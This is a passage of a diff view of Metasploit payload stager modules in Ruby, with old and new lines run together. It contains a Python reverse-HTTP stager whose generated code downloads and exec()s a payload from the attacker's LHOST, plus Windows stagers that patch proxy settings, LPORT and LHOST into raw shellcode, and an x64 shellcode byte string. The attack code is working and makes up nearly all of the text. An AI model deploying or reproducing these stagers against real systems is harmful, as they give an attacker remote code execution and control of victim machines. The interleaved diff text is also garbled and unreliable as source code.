c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n"
c c
end end

View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
module Metasploit3 module Metasploit3
CachedSize = 446 CachedSize = 442
include Msf::Payload::Stager include Msf::Payload::Stager
@ -26,9 +26,9 @@ module Metasploit3
register_options( register_options(
[ [
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
], self.class) ], Msf::Handler::ReverseHttp)
end end
# #
@ -41,32 +41,21 @@ module Metasploit3
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
} }
if Rex::Socket.is_ipv6?(lhost) target_url = 'http://'
target_url = "http://[#{lhost}]" target_url << lhost
else
target_url = "http://#{lhost}"
end
target_url << ':' target_url << ':'
target_url << datastore['LPORT'].to_s target_url << datastore['LPORT'].to_s
target_url << '/' target_url << '/'
target_url << generate_callback_uri target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
proxy_host = datastore['PayloadProxyHost'].to_s
proxy_port = datastore['PayloadProxyPort'].to_i
cmd = "import sys\n" cmd = "import sys\n"
if proxy_host == '' if datastore['PROXYHOST'].blank?
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n" cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
else else
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n" cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
end end
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n" cmd << "exec(o.open('#{target_url}').read())\n"
@ -77,36 +66,4 @@ module Metasploit3
b64_stub << "')))" b64_stub << "')))"
return b64_stub return b64_stub
end end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# The final estimated size
space
end
#
# Return the longest URL that fits into our available space
#
def generate_callback_uri
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
uri_req_len = 5
end
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
end
end end

View File

@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http'
module Metasploit3 module Metasploit3
CachedSize = 311 CachedSize = 306
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https'
module Metasploit3 module Metasploit3
CachedSize = 331 CachedSize = 326
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -82,74 +82,70 @@ module Metasploit3
p[i, u.length] = u p[i, u.length] = u
# patch proxy info # patch proxy info
proxyhost = datastore['PayloadProxyHost'].to_s proxyhost = datastore['PROXYHOST'].to_s
proxyport = datastore['PayloadProxyPort'].to_s || "8080" proxyport = datastore['PROXYPORT'].to_s || "8080"
if Rex::Socket.is_ipv6?(proxyhost)
proxyhost = "[#{proxyhost}]"
end
proxyinfo = proxyhost + ":" + proxyport proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80" if proxyport == "80"
proxyinfo = proxyhost proxyinfo = proxyhost
end end
if datastore['PayloadProxyType'].to_s == 'HTTP' if datastore['PROXY_TYPE'].to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo proxyinfo = 'http://' + proxyinfo
else #socks else #socks
proxyinfo = 'socks=' + proxyinfo proxyinfo = 'socks=' + proxyinfo
end end
proxyloc = p.index("PROXYHOST:PORT") proxyloc = p.index("PROXYHOST:PORT")
p = p.gsub("PROXYHOST:PORT",proxyinfo) p = p.gsub("PROXYHOST:PORT",proxyinfo)
# Patch the call # patch the call
calloffset = proxyinfo.length + 1 calloffset = proxyinfo.length
calloffset += 1
p[proxyloc-4] = [calloffset].pack('V')[0] p[proxyloc-4] = [calloffset].pack('V')[0]
# Authentication credentials have not been specified #Optional authentification
if datastore['PayloadProxyUser'].to_s == '' or if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
datastore['PayloadProxyPass'].to_s == '' or (datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
datastore['PayloadProxyType'].to_s == 'SOCKS' datastore['PROXY_TYPE'] == 'SOCKS'
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START") jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
#remove auth code
# Remove the authentication code
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "") p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
else else
username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length username_size_diff = 14 - datastore['PROXY_USERNAME'].length
password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
jmp_offset = jmp_offset = 16 + #PROXY_AUTH_START length
16 + # PROXY_AUTH_START length 15 + #PROXY_AUTH_STOP length
15 + # PROXY_AUTH_STOP length username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length"
username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length" password_size_diff # same with PROXY_PASSWORD
password_size_diff # Same with PayloadProxyPass #patch call offset
# Patch call offset
username_loc = p.index("PROXY_USERNAME") username_loc = p.index("PROXY_USERNAME")
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V") p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
password_loc = p.index("PROXY_PASSWORD") password_loc = p.index("PROXY_PASSWORD")
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V") p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
#remove markers & change login/pwd
# Remove markers & change login/password
p = p.gsub("PROXY_AUTH_START","") p = p.gsub("PROXY_AUTH_START","")
p = p.gsub("PROXY_AUTH_STOP","") p = p.gsub("PROXY_AUTH_STOP","")
p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s) p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME'])
p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s) p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD'])
end end
#patch jmp dbl_get_server_host
# Patch jmp dbl_get_server_host
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V") p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
#patch call Internetopen
# Patch call Internetopen
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V") p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
# Patch the LPORT # patch the LPORT
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444 lport = datastore['LPORT']
p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V')
# Append LHOST and return payload lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
p + datastore['LHOST'].to_s + "\x00" p[lportloc+1] = [lport.to_i].pack('V')[0]
p[lportloc+2] = [lport.to_i].pack('V')[1]
p[lportloc+3] = [lport.to_i].pack('V')[2]
p[lportloc+4] = [lport.to_i].pack('V')[3]
# append LHOST and return payload
lhost = datastore['LHOST']
p + lhost.to_s + "\x00"
end end

View File

@ -85,7 +85,7 @@ module Metasploit3
"\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" + "\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" +
"\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" + "\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" +
"\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" + "\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" +
"\x83\xC4\x20\x85\xC0\x74\x99\x66\x8B\x07\x48\x01\xC3\x48\x85\xC0" + "\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
"\x75\xCE\x58\x58\xC3" + "\x75\xCE\x58\x58\xC3" +
"\xE8\xD7\xFE\xFF\xFF" #updated jump offset "\xE8\xD7\xFE\xFF\xFF" #updated jump offset
} }